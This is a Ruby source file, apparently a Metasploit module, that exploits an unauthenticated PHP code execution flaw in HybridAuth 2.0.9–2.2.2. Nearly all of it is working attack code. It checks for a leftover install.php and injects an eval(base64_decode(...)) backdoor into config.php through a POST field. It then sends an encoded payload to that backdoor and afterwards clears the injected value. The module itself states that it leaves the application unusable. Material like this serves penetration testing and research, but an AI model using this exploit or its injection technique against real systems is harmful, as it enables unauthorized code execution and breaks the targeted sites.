137 lines
4.4 KiB
Ruby
137 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking # application config.php is overwritten
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HybridAuth install.php PHP Code Execution',
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'Description' => %q{
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This module exploits a PHP code execution vulnerability in
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HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
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is not removed after installation allowing unauthenticated users to
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write PHP code to the application configuration file 'config.php'.
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Note: This exploit will overwrite the application configuration file
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rendering the application unusable.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Pichaya Morimoto', # Discovery and PoC
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['EDB', '34273'],
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['OSVDB','109838']
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],
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'Arch' => ARCH_PHP,
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'Platform' => 'php',
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'Targets' =>
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[
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# Tested:
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# HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
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['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 4 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
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])
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end
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#
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# Check:
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# * install.php exists
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# * config.php is writable
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# * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
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#
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def check
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res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
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if !res
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vprint_error "Connection failed"
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return Exploit::CheckCode::Unknown
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elsif res.code == 404
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vprint_error "Could not find install.php"
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elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
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vprint_error "#{$1} is not writable"
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elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
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version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
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vprint_status "Found version: #{version}"
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if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
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return Exploit::CheckCode::Vulnerable
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else
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vprint_error "HybridAuth version #{version} is not vulnerable"
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end
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end
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Exploit::CheckCode::Safe
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end
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#
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# Exploit
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#
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def exploit
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# check vuln
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if check != Exploit::CheckCode::Vulnerable
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fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
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end
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# write backdoor
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print_status "Writing backdoor to config.php"
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payload_param = rand(1000)
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'install.php'),
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'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
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)
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if !res
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fail_with Failure::Unknown, "#{peer} - Connection failed"
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elsif res.body =~ /Installation completed/
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print_good "Wrote backdoor successfully"
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else
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fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
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end
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# execute payload
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code = Rex::Text.encode_base64(payload.encoded)
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print_status "Sending payload to config.php backdoor (#{code.length} bytes)"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'config.php'),
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'data' => "#{payload_param}=#{code}"
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}, 5)
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if !res
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print_warning "No response"
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elsif res.code == 404
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fail_with Failure::NotFound, "#{peer} - Could not find config.php"
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elsif res.code == 200 || res.code == 500
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print_good "Sent payload successfully"
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end
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# remove backdoor
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print_status "Removing backdoor from config.php"
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'install.php'),
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'data' => 'OPENID_ADAPTER_STATUS='
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)
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if !res
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print_error "Connection failed"
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elsif res.body =~ /Installation completed/
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print_good "Removed backdoor successfully"
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else
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print_warning "Could not remove payload from config.php"
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end
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end
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end
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